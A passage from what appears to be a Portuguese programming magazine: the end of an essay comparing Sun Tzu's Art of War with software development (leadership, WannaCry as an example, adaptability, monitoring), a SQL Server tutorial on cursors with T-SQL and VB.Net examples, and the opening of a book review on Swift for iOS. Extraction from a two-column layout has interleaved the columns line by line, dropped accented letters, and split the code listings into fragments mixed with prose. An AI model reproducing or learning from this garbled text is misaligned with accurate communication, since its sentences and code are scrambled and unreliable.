cinco factores crticos do sucesso na guerra, que por Em muitos destes casos aqueles que so mentalmente mais
ordem so: ataque, estratgia, alianas, exrcito e cida- fortes, so os que mais conseguem produzir e ultrapassar,
des. No caso do desenvolvimento de software, no apli- trabalhando sozinhos! O que de certa forma vai totalmente
de encontro aquilo que comum num programador!
cam desta forma, at porque no se trata de um conflito
blico, mas antes de uma gesto estratgica. No entanto Disposio do Exrcito ()
alguns dos ensinamentos, so utilizveis nesta vertente.
Ora vejamos: Segundo Sun Tzu, a importncia da disposio de um
exrcito na defesa de posies at ser capaz de avanar
Ora, o General o baluarte do Estado; Se o baluarte est com segurana, de especial relevncia. Uma das tarefas
completo em todos os pontos, o Estado ser forte; Se o baluar- mais importantes, nesta fase, ser o aproveitar de oportuni-
te for defeituoso, o Estado ser fraco. (Sun Tzu) dades que se apresentem, sem criar oportunidades para o
inimigo.
No pargrafo supracitado, descrita a importncia do papel do
gestor de projecto ou um bom lder de equipe, para o sucesso Existem muitas abordagens possveis, para estabele-
de um projecto. O sucesso depende da fora de todas as pes- cer um paralelo entre esta indicao da arte da guerra e o
soas envolvidas no projecto e como tal, cabe ao gestor ou lder desenvolvimento de software. Pessoalmente vou optar por
de equipa, manter a coeso da equipe! A responsabilidade ilustrar, recorrendo a um evento que foi notcia no faz muito
comea pelo todo, se o lder no for bom, no importa o talento tempo a esta parte. Ora vejamos, em tecnologia suposta-
da equipe, o projecto estar condenado. Certamente nesta mente no existem posies, ataques, defesas,
altura algum estar a pensar Ento, mas os developers, tra- manobras, como existe num contexto blico convencional,
balham maioritariamente sozinhos, sentados frente a um com- no entanto existem ataques informticos, que podem causar
putador, com uma comunicao limitada com os restantes ele- srios e severos danos a sistemas inteiros. Neste aspecto
mentos da equipe! e tem efectivamente razo. No entanto, em concreto, todos aqueles que trabalham com um sistema
isso no significa que no necessitem de uma boa liderana informtico so de certa forma um exrcito. Concretamen-
quando esto envolvidos em projectos de equipe! Um Lder te, no faz muito tempo, ocorreu um ataque com um worm,
no o que tradicionalmente se chama de chefe, pelo contr- do tipo ransomware, baptizado de wannacry, que se propa-
rio, algum que chama a si a responsabilidade de manter a gou rapidamente por diversos sistemas e provocou um
equipe no caminho certo, assegurar que a comunicao entre caos em muitos deles! Ora, esta situao, poderia ser com-
todos eficiente, resolver qualquer desavena ou disputa entre parada ao avano de um inimigo, no caso o malware, que
membros, definir prioridades, etc avanou sobre os sistemas, apoderou-se do sistema, propa-
gou-se e exigia o resgate pelos dados. Se de um lado da
Mais do que um ataque a um alvo, o que se preten-
paliada poderamos considerar que estivessem pessoas
de, um ataque ao problema propriamente dito! Ataque no
mal intencionadas, do outro lado, estariam os programadores
sentido de abordagem e aproximao! Neste caso poder-se-ia

30
Kernel Panic
A ARTE DA GUERRA E A TECNOLOGIA

e demais profissionais com responsabilidades, que tiveram a equilibrados, ou desequilibrados para um dos lados, por
dura tarefa de tentar mitigar e conter o avano do malware. Ok, norma decisiva, num ou noutro sentido.
tambm contra-atacaram, por assim dizer, removendo-o dos
sistemas conforme foram conseguindo, e alguns, como o caso
das equipes que desenvolveram as correces para as falhas
exploradas pelo malware, contra-atacaram, corrigindo as falhas
que tornaram o dito ineficaz. Isto apenas serve para ilustrar
uma situao em concreto e para ilustrar o conceito. Muitos
casos como este, podero surgir, pois as falhas em software
so algo infelizmente comum, sendo de igual infelicidade a
inexistncia de uma cultura proactiva de desenvolvimento de
sistemas tendo em ateno a segurana do cdigo desenvolvi-
do.
Apesar de existirem imensas ferramentas livres que
permitem analisar cdigo, falta a cultura de o fazer e desenvol-
ver, mantendo a preocupao de produzir cdigo seguro, em
mente, durante o desenvolvimento.
No exemplo usado para ilustrar, poder-se-ia dizer que
os administradores de sistemas optaram por implementar polti-
cas que impediram a propagao do worm, como um exrcito
que firmou a posio, na impossibilidade de contra-atacar. Tal No contexto da tecnologia, as oportunidades apare-
aconteceu, parte-se do princpio, porque houve conhecimento cem com frequncia a partir de aberturas no ambiente exis-
para agir de forma calma, estratgica e ponderada, observan- tente, sejam elas alteraes ou circunstncias do ambiente,
do a oportunidade, sem permitir que fossem criadas oportuni- ou sejam causadas por uma fraqueza relativa de uma de-
dades ao opositor. terminada tecnologia ou situao. Nesses casos a vantagem,
vem da fluidez com que se movimenta numa determinada
Foras ( ) rea, aproveitando a oportunidade, para ganhar vantagem,
criar novas oportunidades ou at por exemplo um novo ecos-
Ora eis um tema interessante! No caso de um conflito sistema. Parece complexo, mas exemplificando, torna-se
blico, tal como descrito na arte da guerra, o objectivo expli- simples! Por exemplo o advento do formato Mpeg Layer 3
car o uso da criatividade e o tempo para criar momentum, num (MP3), inicialmente causou uma enorme dor de cabea
exrcito. Como se est a falar de tecnologia, no um exrci- industria musical, em parte por sua falta de fluidez de movi-
to, mas sim um objectivo, ou seja ter sucesso! mentos. Ora vejamos, a popularizao desse formato, tornou
Ora bem, a criatividade um factor base de sucesso, possvel e simples a transferncia de msicas em formato
alis ao longo da histria recente, temos visto como ideias ino- digital com grande facilidade. Os suportes digitais eram
vadoras e criativas tm aberto novos mercados, impulsionado baratos e saam dos formatos de distribuio comuns, co-
o desenvolvimento tecnolgico a criao de novas oportunida- mo as cassetes, cds vinil, etc Face a essa situao, servi-
des, etc. Por exemplo, o lanamento do Apple 1, numa altura os como o Napster, comearam a aproveitar o formato e a
em que os computadores no eram algo destinado a utilizado- sua popularidade, ainda que de forma completamente erra-
res comuns. A criatividade e a capacidade de pensar fora da da, aproveitaram e ganharam velocidade. Do outro lado a
caixa, so factores indispensveis para o sucesso! Ainda que industria da msica, movimentou-se de forma rgida, perden-
por si s no sejam determinantes, e a juntam-se os restantes do tempo. No meio deste contexto, uma aproximao quase
ensinamentos! Quando se junta a criatividade com o momento que improvvel, entre a indstria da msica e a Apple, gerou
certo, avana-se a uma maior velocidade! Uma ideia que pode- aquilo que proporcionou um novo mundo. A Apple na altura
ria estar aparentemente condenada ao fracasso, ganha sob a liderana de Steve Jobs, aproveitou a oportunidade,
momentum, ganha velocidade e torna-se um sucesso! Pode- com uma fluidez atpica, lanou o seu servio de vendas de
mos ver imensos exemplos assim no kickstarter, por exemplo, msica, a iTunes Store, comercializou o seu equipamento
onde ideias de entusiastas e makers, se tornam verdadeiros destinado a reproduzir msica no formato digital o iPod e em
sucessos, por terem aparecido na hora certa, no momento certa medida revolucionou a forma como se consome msi-
certo, na altura certa! ca. No entanto na altura a Apple era uma empresa de hard-
ware e software, com a sua prpria linha de produtos, o seu
A criatividade ser sempre o maior aliado de todos ns ecossistema, a sua viso das coisas! No entanto a forma
na tecnologia! E essa ser a nossa fora! com conseguiu ser fluida nos movimentos, gerou um dos
maiores sucessos tecnolgicos que ainda agora muito re-
Pontos fracos e pontos fortes ()
cordado e aclamado.
Como em tudo, a tecnologia no a excepo, existem
Portanto, a fluidez de movimentos em resposta as
pontos fracos e pontos fortes. A forma e a rapidez com que so
mudanas, so essenciais para criar oportunidades, aprovei-
tar oportunidades e converter fraquezas em foras para mo-

31
Kernel Panic
A ARTE DA GUERRA E A TECNOLOGIA

ver e ganhar vantagem, desiquilibrando a balana em nosso Como j foi dito, a flexibilidade uma das maiores
vantagens! Nos textos de Sun Tzu, a flexibilidade focada
favor!
no aspecto blico, nomeadamente na capacidade de um
Manobras Militares () exrcito responder s mudanas. Ora bem a tecnologia est
em constante mudana! A sobrevivncia em certa medida
Apesar de Sun Tzu se ter focado no aspecto blico, depende da adaptabilidade e da flexibilidade de se adaptar,
podemos perfeitamente seguir os ensinamentos mas orientan- seja a uma nova tecnologia, a uma nova arquitectura, a um
do-os a outros aspectos! Um conflito directo, acarreta sempre novo standard, a um novo conjunto de protocolos, a novas
riscos e perdas associadas. At porque num conflito, nenhum circunstncias, etc Como referido anteriormente no exem-
dos lados tem uma vitria sem falhas, pois a prpria definio plo do mpeg layer 3 (mp3), a capacidade de se adaptar s
de conflito define a existncia de perdas de ambos os lados! constantes mudanas de circunstncias um factor crucial
Sendo que o lado que efectivamente derrotado, ter a maior no sucesso! Usando alguns dos tpicos anteriormente apre-
perda. Vejamos, por exemplo um gestor de projectos, pode ver sentados, por exemplo face a um confronto, possivelmente
-se forado a uma confrontao com a sua equipe, ou com originado por mudanas de circunstncia, nada melhor que
elementos da sua equipe, por uma quantidade relativamente adaptar mudana contornar o confronto e seguir em frente!
grande de motivos, sejam eles tempos de execuo, mtodos Na tecnologia as mudanas cada vez mais ocorrem a veloci-
de executar determinada tarefa, etc A primeira perda, ser o dades e frequncias maiores! Por exemplo, hoje em dia as
tempo despendido na discusso. Quando o tempo um factor redes sociais so uma mudana de circunstncia a que os
crtico, despender tempo com discusses que no sejam plau- jogos digitais tm de se adaptar! Noutros tempos multi-
sveis de produzir um bom resultado, acaba redundando num player, era basicamente um ecr divido a meio!
desgaste de tempo. Por outro lado o atrito gerado por uma
discusso, origina desgaste, pode perfeitamente originar mal
estar e no longo percurso, provocar uma perda ainda maior.
Outros exemplos poderiam ser dados, por exemplo o confronto
entre equipes que trabalham no mesmo projecto, em partes
diferentes do projecto, etc
Todos os conflitos so complexos e sempre que poss-
vel devem ser evitados. No entanto de grande importncia,
saber como vencer, quando forado a um conflito. Existem
muitas formas de se vencer um conflito argumentativo, mas
como diz o velho ditado, a vitria comea quando se decide
ouvir atentamente. Ouvir os argumentos e opinies dos outros
o primeiro passo para se compreender e entender se real-
mente a vantagem vem de vencer o argumento ou de conciliar
as posies, fazendo cedncias. Existe muito boa documenta-
o sobre este tema e este kernel panic j se faz longo, portan-
to tenta-se resumir um pouco o tema. Um passo para vencer
uma contenda, ser sempre definir uma inteno emotivamen- Hoje em dia isto impensvel a menos que se este-
te positiva, mostrando-se sempre uma inteno emocional fo- ja a falar de retro gamming! E efectivamente no jogamos
cada no pretender a paz e pretender ajudar a outra parte. Partir Lotus Chalange! Isto porque houveram mudanas de cir-
do principio que a outra parte est sempre na melhor das inten- cunstncia e o modelo de multi-player (multi-jogador), com o
es, ser paciente e tentar mover a situao para a frente, em ecr dividido, entre os dois, deixou de ser vivel, at porque
vez de permanecer no mesmo ponto, ser sempre benfico! A praticamente todos os equipamentos esto ligados em rede,
escolha de palavras fulcral! Num argumento manter a outra logo um ecr, para cada jogador, cada um no seu equipa-
parte numa considerao positiva, mostrando respeito mtuo, mento! Poderia enumerar mais exemplos de mudanas de
mesmo discordando com a opinio, mostrar respeito pela mes- circunstncia, no entanto no valer a pena continuar, dei-
ma, ser um caminho para o sucesso. E por fim, gerir as reac- xando apenas os exemplos de situaes em que as circuns-
es! No deixar que o comportamento da outra parte, altere o tncias mudaram e a adaptabilidade, pode ditar o sucesso,
nosso comportamento! Podia dizer em tom de brincadeira, no face mudana!
deixar que o ponto e vrgula que nos escapa, nos cause irrita-
o, mas no fundo se esse ponto e vrgula nos escapa, por- Movimento e Desenvolvimento de Tropas (
que nos esquecemos de o colocar no stio certo! )
Em suma, se entrarmos num conflito, no tendo alterna-
No livro, esta seco especialmente dedicada
tiva, melhor ser recorrer a todas as tcnicas que nos permi-
avaliao das intenes das outras partes. Na tecnologia, se
tam vencer! focarmos especialmente nos aspectos relacionados com
Variaes e adaptabilidade () segurana. Uma das grandes tarefas na hora de mitigar um
ataque a um sistema, passa por antecipar o que o agressor
possa ter por objectivo fazer, por forma a impedir o sucesso,

32
Kernel Panic
A ARTE DA GUERRA E A TECNOLOGIA

ou mesmo at tentar reproduzir os passos seguidos pelo se tivesse concretizado todo esse desenvolvimento teria
agressor, para melhor entender o caminho seguido para o invi- perdido competitividade, e custado bastante mais para portar
abilizar, em futuras incurses. O mesmo se pode aplicar, por e manter. Logo at a escolha do que pode ser considerado
exemplo na hora de analisar malware. Por exemplo, a quando terreno, sempre um factor de elevada importncia! Talvez
da deteco de um novo malware, perceber o que ele faz, no no isolada, mas conjugada com outros factores!
apenas descompilar e ler o cdigo, mas tambm perceber a
sua origem, quais os objectivos de quem o escreveu, avaliar as Os nove campos de batalha ()
intenes de quem o escreveu, etc
Em tecnologia podemos certamente considerar que
O avaliar as intenes de outros, pode tambm aplicar- existem bem mais do que apenas nove campos de batalha,
se por exemplo na hora de agregar um novo elemento a uma no entanto preferiria no focar este tpico em arquitecturas,
equipe! Quando no se conhece o elemento, poder ser consi- modelos de desenvolvimento, plataformas, etc Mas voltar
derado um risco a adio de um elemento a uma equipe! Po- um pouco aquilo que acontece antes de comearmos a de-
dero as intenes, no ser as melhores, poder ter objectivos senvolver e a criar! A educao!
diferentes dos da restante equipa, etc. A avaliao de inten-
Segundo um estudo publicado, existem nove factores
es acaba sendo um processo constante e importante! qua-
chave para o sucesso da educao em tecnologia. O primei-
se como se faz no trnsito, quando se pretende fazer uma ma-
ro diz que a tecnologia deve estar integrada nas aulas. Ora
nobra e um outro veiculo, no utiliza os sinais de marcha para
bem, nos dias de hoje isto mais possvel do que nunca,
indicar as suas intenes! Cabe ao condutor tentar avaliar e
dada a massificao do uso da tecnologia! Logo este ser
prever as intenes do outro condutor! Sim, porque no so-
um ponto facilmente ultrapassado, na hora de escolher onde
mos autmatos e no comunicamos constantemente, como o
estudar! No segundo ponto do mesmo estudo dito que os
caso dos carros autnomos! Logo temos de avaliar constante-
responsveis pelo ensino devem definir tempo para aprendi-
mente! No ligou os indicadores de mudana de direco, mas
zagem profissional e colaborao entre educadores. Bem,
aproximou-se do eixo da via? Ser que vai virar ? Mas no
aqui entramos um pouco no campo da poltica! Mas ser fcil
comunicou (ligou os piscas) a inteno de o fazer! Qual ser a
ao observar a oferta formativa, ver qual est mais actualiza-
inteno ? um exemplo caricato, mas um exemplo real, que
da, consequentemente aquela que mais aposta na formao
se vive no trnsito, todos os dias!
dos docentes! Seguindo para o ponto terceiro, o estudo diz
Terreno ( ) que os alunos devem utilizar a tecnologia para colaborar!
Creio que as ferramentas colaborativas, esto mais dispon-
Eis algo complexo! O que se pode considerar terreno veis que nunca! Desde o guithub ao Ondrive, passando por
em tecnologia, Bem, talvez as arquitecturas de hardware, uma Google docs entre tantas outras, colaborar nunca foi to fcil
vez que o software depende do hardware para viver, talvez como agora! Bastar incentivar a us-las! Passando para o
o mercado onde se coloca um produto, talvez o sistema opera- quarto ponto, diz que a tecnologia deve ser integrada no
tivo para o qual se desenvolve? A linguagem de programao ncleo do curriculum, nos vrios nveis de educao, pelo
em que se desenvolve um produto? A framework escolhida? menos uma vez por semana ou mais! Bem, isto poder no
Bem, se qualquer um destes elementos puder ser considerado ter tanto a ver com aquilo que diz respeito a um programa-
o terreno, podemos considerar que cada terreno tem as suas dor, mas certamente se for um programador que simultanea-
vantagens e desvantagens, sendo a vantagem a ponderao mente seja educador (professor, formador, etc), ter certa-
das mesmas! No poderia deixar de passar este item sem dar mente a oportunidade para dar o seu contributo neste ponto,
um exemplo, que pode ser considerado por muitos, antigo, para o que considerado um dos factores do sucesso! Qua-
obsoleto, mas no deixa de ser um exemplo. Em tempos, o tro j foram e vem o quinto ponto! Ora bem, neste dito que
System 7 e posteriores (System 8 e System 9), da Apple Com- devem existir avaliaes formativas, on-line! Muita gente
puter, eram totalmente incompatveis com os IBM PC compat- estar a pensar no famoso Moodle! Bem, outras plataformas
veis , os PCs como eram e ainda so conhecidos. A arquitec- usam exactamente o mesmo sistema, por exemplo o Cour-
tura de processador era diferente dos pc compativeis, o softwa- sera, entre outras! Mais do que avaliar de forma bitolada,
re era destinado apenas a Macs, etc No entanto muito soft- estas avaliaes permitem a quem est a aprender poder ter
ware foi desenvolvido para esses sistemas, apostando num uma percepo concreta das suas dificuldades proporciona-
sistema que na altura muitos achavam que acabaria sendo do a oportunidade de dedicar mais tempo aquilo que se estu-
destinado apenas a entusiastas e afins. A verdade que o da! Por exemplo no caso de ensino de programao, ter a
sistema evoluiu, o System 9.x deu lugar ao Mac OS X, durante possibilidade de colocar o cdigo numa plataforma on-line,
um lapso de tempo, o software escrito para System 9, poderia ver se cumpriu os requisitos e em caso contrrio ter alguma
ser executado em OS X e at certo ponto a vantagem foi man- explicao adicional, poder ser uma grande vantagem na
tida. No entanto, a escolha de um terreno, no caso uma plata- aquisio de conhecimento! J s faltam quatro, e vamos no
forma de hardware e software, poderia ter sido desastrosa, na ponto sexto! Ora neste o estudo diz que quanto menor o
medida em que o hardware PC Compatvel teve sempre um rcio estudantes para computadores, melhor! Eu diria que o
mercado mais amplo e o software para PC Compatvel, nos ideal, seria cada um ter o seu disponvel! At porque muito
diversos sistemas operativos disponveis para a plataforma, se aprende praticando! Parafraseando um amigo meu,
mas em particular para Windows, mantiveram e ainda mantm mesmo a copiar, aprendes a digitar. Logo se cada um tiver
a liderana irrefutvel no mercado! Caso a profecia de muitos o seu, mais fcil ser manter o foco, manter a ateno e

33
Kernel Panic
A ARTE DA GUERRA E A TECNOLOGIA

praticar cada vez mais, ao seu ritmo, sua velocidade! No Inteligncia e Espionagem ()
stimo ponto sugerida a realizao de visitas de estudo vir-
tuais! Bem, o virtual vago, mas certo ser que com a tecno- Por fim o dcimo terceiro! Inteligncia e Espionagem
logia evoluda como est, a realidade aumentada ajuda a dis- no devem ser confundidas. Neste captulo encontramos
ponibilizar por exemplo contedos adicionais interactivos. Por uma frase muito interessante que diz e cito Por isso, ape-
outro lado, imaginando um pouco, no seria engraado ver nas o governante esclarecido e o sbio general que usar a
como o cdigo executado pelo hardware, nas entranhas mais alta inteligncia do exrcito para fins de espionagem e,
do mesmo ? Quase seguindo o exerccio de imaginao de assim, conseguem grandes resultados. Os espies so um
alguns livros, como o Viagem ao Centro da Terra, mas no elemento muito importante na guerra, porque neles depende
caso, seria mais uma viagem ao centro do cpu, vendo os bits a capacidade do exrcito de se mover. Isto pode ser inter-
e bytes, registers e demais circuitos a actuarem, a iluminarem pretado como a necessidade de ter ferramentas de monitori-
quando so utilizados! Eis algo que seria uma boa visita de zao e bibliotecas destinadas a logging. Apesar de poder
estudo virtual! E na recta final vamos ao ponto oitavo! Nesse parecer para muitos que o desenvolvimento de software
ponto sugerido que os alunos usem motores de busca! Eu termina quando se tem uma release estvel, isso pode no
diria que j existe um verbo intransitivo, com significado ainda ser bem assim! O software est sempre a evoluir, que seja
que limitado, para significar isto mesmo! O verbo googlar, que para corrigir bugs, quer seja para adicionar novas funcionali-
de acordo com o dicionrio um verbo transitivo e intransitivo! dades, ou aumentar a eficincia ou o desempenho. Neste
Procurar ou pesquisar no motor de busca Google. "googlar", in aspecto a melhor fonte de informao, so as ferramentas
Dicionrio Priberam da Lngua Portuguesa [em linha], 2008- de monitorizao e os logs da aplicao que nos mostram
2013, https://www.priberam.pt/dlpo/googlar [consultado em 29- onde a aplicao poder estar a perder performance, ou a
05-2017]. . Apenas falta o ltimo ponto desta lista, onde se causar um erro, que funcionalidades so mais utilizadas,
pode ler que os responsveis, devem ensinar e encorajar as quais so os erros mos comuns, etc Se considerarmos
prticas recomendveis para a implementao da tecnologia! que nem sempre possvel reproduzir todos os erros, em
Aqui no existe muito a dizer! A menos que sejamos ns os ambiente controlado, estas ferramentas, acabam sendo a
responsveis neste processo! melhor fonte de informao para os developers melhorarem
as aplicaes, bem como fazerem as actualizaes necess-
Atacando com Fogo ()
rias em tempo oportuno!
Neste ponto Sun Tzu, refere as vantagens e desvanta-
gens do uso de cada recurso, em cada situao especfica! Em
tecnologia, o mesmo se pode aplicar, mas os recursos so
muito mais vastos e os constrangimentos muito mais frequen-
tes o que causa uma infinidade de variantes de casa situao!
Por exemplo, isto pode ser aplicado escolha de um algoritmo
para resolver uma determinada situao, sendo o algoritmo o
recurso e a situao o problema que se pretende resolver! Po-
deria ser por exemplo uma framework, o recurso e um projecto
a situao! A escolha dos recursos deve ser sempre pondera-
da e adequada situao ou ao problema, tendo em conta os
eventuais constrangimentos de tempo, recursos, etc que
envolvem toda a situao.

Em concluso, pode-se dizer que a Arte da guerra


superou o passar dos tempos, resistiu a sculos de existn-
cia e tornou-se aplicvel a tantas reas distintas, como aque-
las em que a pretendermos observar!

AUTOR
Escrito por Antnio C. Santos

Programar criar um novo mundo escrevendo cdigo, cumprindo os mais elementares desgnios da
vida, aprender, ensinar, criar, partilhar, melhorar e seguir. Formou-se no Instituto Politcnico de Viana
do Castelo. Membro da Comunidade Portugal-a-Programar desde Agosto de 2007, tambm membro da
Sahana Software Foundation, onde Programador Voluntrio desde 2012, actualmente exerce funes
de mentor voluntrio na plataforma MOOC Coursera . Twitter:@apocsantos

34
SQL Curtas
Cursores: O Bom, o Mau e o SQL...

O Bom );
GO
Uma simples query SQL permite visualizar informao
(retornada em formato tabular), sendo essa informao lida por -- De seguida inserimos alguns registos
um qualquer programa (app, site, etc.). Mas o que acontece se INSERT INTO Cats
quisermos que o prprio motor SQL trate a informao? (CatID, CatName, CatYear)
VALUES
Consideremos uma tabela de colaboradores duma em- ( 1, 'Grumpy Cat', 2012),
( 2, 'Schrody (Schrdinger''s cat)', 1935), /*
presa. Todos os meses temos que processar o ordenado. Para The name is correct and at the same time is in-
isso executamos algo (e.g.um stored procedure), que tem toda correct - until someone asks the cat! */
a "magia" e complexidade l dentro. Mas precisamos de execu- ( 3, 'Garfield', 1978),
( 4, 'Hobbes', 1985),
tar tantas vezes quantos registos tivermos. Isso no possvel ( 5, 'Mr.Bigglesworth', 1997),
com um simples SELECT. ( 6, 'Sylvester', 1941),
( 7, 'Simba', 1994),
Aqui entram os cursores. So uma figura demnica mui- ( 8, 'Tigger', 1928),
to mal tratada, mas que se virmos bem so at bastantes sim- ( 9, 'Heathcliff', 1973),
ples. (10, 'Simon''s Cat', 2008),
(11, 'Spot (Data''s cat)', 1991),
O que faz ento um cursor? Um cursor executa uma (12, 'Top Cat', 1961),
(13, 'Fofinha', 2001),
certa query e permite ao programa ler o resultado registo a (14, 'Leoa (the ''Mini-Cat'')', 2008),
registo (sequencialmente) num ciclo, eventualmente fazendo (15, 'Pantyusha (Panteleymon)', 1900);
mltiplas operaes com cada registo. GO

O Mau -- A curiosidade matou o gato...


SELECT * FROM Cats;
Nem tudo bom em cursores, claro. A sintaxe "feia" GO
um dos problemas, mas quanto a isso nada a fazer (hashtag
-- De seguida criamos um SP para executar
#ComeECala). CREATE PROCEDURE USP_CatActions
@CatID INT,
Outra, mais grave, a dificuldade do motor de SQL em @CatName NVARCHAR(64) AS
optimizar o pedido. Numa query SQL fcil optimizar o acesso Print (CONCAT('A fazer coisas felinas com
e obter os dados da forma mais eficiente globalmente. O pro- "', @CatName, '" (ID=', @CatID, ')...'));
-- etc...
blema que os cursores pedem um resultado inicial e depois GO
cada operao executada em cada registo retornado tratada
independentemente. -- Executar registo a registo to fcil
EXEC USP_CatActions @CatID = 1, @CatName =
Da a recomendao de no usar cursores em consul- 'Grumpy Cat';
tas em que uma simples (ou complexa) query resolva o proble- GO
ma, mas nas situaes de execuo individual (registo a regis-
to) de tarefas no h outra opo. O resultado da execuo do stored procedure :

A fazer coisas felinas com "Grumpy Cat" (ID=1)...

O SQL
Se estivssemos num programa, e.g. site, podera-
Um exemplo vale mil palavras... Vamos usar SQL Server e
mos usar cdigo em C# ou neste caso em VB.Net para ob-
VB.Net mas ser semelhante para outros motores de bases de
ter os registos e process-los um a um
dados e outras linguagens.
Option Explicit On
Option Strict On
Comeamos por criar alguns objectos na base de dados e tes-
Imports System.Data.SqlClient
t-los.
Module Felino
-- Comeamos por criar uma tabela simples Sub Main()
CREATE TABLE Cats ' Escolher uma connection string para o
( servidor
CatID INT NOT NULL PRIMARY KEY, ' (neste caso liga-se ao servidor
CatName NVARCHAR(64) NOT NULL, "LOCALHOST"
CatYear INT NOT NULL, ' e base de dados "PROGRAMAR")

35
SQL Curtas
CURSORES: O BOM, O MAU E O SQL...

Dim ConnStr As String = "Data Source A fazer coisas felinas com "Simon's
=LOCALHOST; " _ Cat" (ID=10)...
+ "Initial A fazer coisas felinas com "Spot (Data's
Catalog=PROGRAMAR; " _ cat)" (ID=11)...
+ "Integrated
Security=True" Como possvel ver, pede-se a query inicial e depois
por cada registo retornado, executa-se algo. Repetir at no
' Escolher a query para obter dados
Dim SQL As String = "SELECT CatId, haver mais registos.
CatName " _
+ "FROM Cats
" _
+ "WHERE CatYear > Um cursor tem uma sintaxe muito parecida.
1990 " _
+ "ORDER BY CatName;" Nota: para simplificar o cdigo SQL em baixo, no foi coloca-
do tratamento de erros (e.g. bloco TRY-CATCH), mas sem-
Try pre importante validar.
' Abrir ligao ao servidor
Dim conn As New SqlConnection(ConnStr)
conn.Open()
-- Para executar algo sobre cada registo precisa-
' Definir novo pedido mos dum cursor...
Dim comm As New SqlCommand(SQL, conn) -- Nota: executar o resto deste cdigo em bloco
comm.CommandType = CommandType.Text
comm.Prepare() -- Comeamos por declarar as variveis dos valores
a ler do cursor (campos na prtica)
'Obter os dados DECLARE @ID INT;
Dim dr As SqlClient.SqlDataReader DECLARE @Name NVARCHAR(64);
dr = comm.ExecuteReader()
-- De seguida declaramos o cursor juntamente com a
'Ciclo registo a registo (pede um query que vai usar
registo de cada vez) DECLARE catsor CURSOR FOR
While (dr.Read()) SELECT CatId, CatName
Dim CatID As Integer FROM Cats
Dim CatName As String WHERE CatYear > 1990
ORDER BY CatName;
CatID = CType(dr.Item("CatID"),
Integer) -- Abrir o cursor (executar a query em cima e pre-
CatName = CType(dr.Item("CatName"), parar-se para ler)
String) OPEN catsor;

' Incluir operaes aqui... -- Tentar obter o primeiro registo (2 campos para
Console.WriteLine("A fazer coisas dentro das 2 variveis respectivas)
felinas com " _ FETCH FROM catsor INTO @ID, @Name;
+ """" + CatName
+ """" _ -- Agora ciclar por todos os registos se o registo
+ " (ID=" _ obtido for vlido (se existe)
+ CatID.ToString WHILE (@@FETCH_STATUS = 0)
_ BEGIN
+ ")...") -- Fazer coisas
' Etc.. EXEC USP_CatActions @CatID = @ID, @CatName =
End While @Name;
Catch ex As SqlException -- Etc.
Throw '...
Catch ex As Exception -- Tentar obter o prximo registo
Throw '... FETCH NEXT FROM catsor INTO @ID, @Name;
End Try END;

Console.ReadLine() 'Aguentar os felinos -- Arrumar a caixa da areia


para ver o resultado CLOSE catsor;
End Sub DEALLOCATE catsor;

End Module
O resultado da execuo do bloco idntico ao anterior,
mas neste caso feito em SQL com um cursor.
Um dos maiores dios de estimao aos cursores o
O resultado da execuo do programa em VB.Net : facto de o FETCH ser escrito duas vezes (que grave quan-
do por exemplo vamos buscar muitos campos e te-
A fazer coisas felinas com "Fofinha" (ID=13)... mos que repetir um FETCH com muitas variveis).
A fazer coisas felinas com "Grumpy Cat" (ID=1)...
A fazer coisas felinas com "Leoa (the 'Mini- Felizmente h workarounds
Cat')" (ID=14)...
A fazer coisas felinas com
"Mr.Bigglesworth" (ID=5)...
A fazer coisas felinas com "Simba" (ID=7)...

36
SQL Curtas
CURSORES: O BOM, O MAU E O SQL...

-- Exemplo com cursor usando apenas um FETCH


pectivas)
-- Nota: executar o resto deste cdigo em bloco FETCH NEXT FROM catsor INTO @ID, @Name;
-- Comeamos por declarar as variveis dos valores -- Caso no tenha mais registos, sai do WHILE
a ler do cursor (campos na prtica) IF (@@FETCH_STATUS <> 0) BREAK;
DECLARE @ID INT;
DECLARE @Name NVARCHAR(64); -- Fazer coisas
EXEC USP_CatActions @CatID = @ID, @CatName =
-- De seguida declaramos o cursor juntamente com a @Name;
query que vai usar -- Etc.
DECLARE catsor CURSOR FOR END;
SELECT CatId, CatName
FROM Cats -- Arrumar a caixa da areia
WHERE CatYear > 1990 CLOSE catsor;
ORDER BY CatName; DEALLOCATE catsor;
-- Abrir o cursor (executar a query em cima e pre- O resultado da execuo do bloco idntico ao anterior,
parar-se para ler)
OPEN catsor; mas fica com o cdigo simplificado.

-- Agora ciclar por todos os registos Finalmente, para apagar os objectos criados:
-- Este um ciclo infinito WHILE (1=1), com um
BREAK no interior
WHILE ('Cursor' <> '666') -- Assim mais interes-
sante
BEGIN DROP TABLE Cats;
-- Tentar obter o primeiro/prximo registo DROP PROCEDURE USP_CatActions;
-- (2 campos para dentro das 2 variveis res-

AUTOR
Escrito por Andr Melancia

Independent Developer/DBA/Consultant. Microsoft Certified Trainer (MCT) focusing on SQL Server, Azu-
re and IoT. 17+ years' fun developing information and multimedia systems, DBA, project and IT manage-
ment. PowerShell Portugal, IT Pro Portugal and IoT Portugal communities organiser. IPv6 Por-
tugal, DNSSec Portugal and Windows Development Portugal online communities moderator. Actively
volunteering, organising, speaking or just participating at community meetings and events like SQLSatur-
days, SQLBits, SQLRelay, Maker Faire Lisbon, Arduino/Genuino Day Lisbon, Global Azure Bootcamp
Lisbon, etc. Proud uncle and food devouring expert, with dangerous ussy cat as companion.

Go to http://Andy.PT and you'll know the same as the NSA...

37
Media Partners da Revista PROGRAMAR

Anlises
C# 6 - PROGRAMAO COM PRODUTIVIDADE
Bases de Dados e Geolocalizao
Review

Desenvolvimento em Swift para iOS


Ttulo: Desenvolvimento em Swift para O divertimento chega com o capitulo cinco onde se
iOS comea a construir a aplicao e so introduzidos conceitos
Autores: Lus Marcelino | Catarina fulcrais no desenvolvimento de aplicaes mobile. Neste
Silva capitulo muitos conceitos so introduzidos esto relaciona-
dos com os diversos componentes da aplicao, como sejam
Editora: FCA - Editora de Informtica os controladores de contedos, entre outros.
Pginas: 264 A forma como os controlos e as vistas esto relacio-
ISBN: 978-972-722-859-1 nados, assim como o seu relacionamento apresentado no
capitulo 5. Este capitulo particularmente interessante pela
Formato: soft-cover utilizao do Storyboard e a introduo interface grfica,
dando mote ao capitulo seguinte.
No capitulo seis, dado o foco experincia de utili-
Nesta edio vamos fazer a review do Livro
zao, forma como so geridos os eventos de movimento,
Desenvolvimento em Swift para iOS escrito por Lus Marce-
s animaes das vistas e a incluso de recursos multimdia.
lino e Catarina Silva, ambos professores no Politcnico de
Leiria e co-autores do livro Desenvolvimento em iOS iPho- A geo-localizao e os mapas so o foco do capitulo
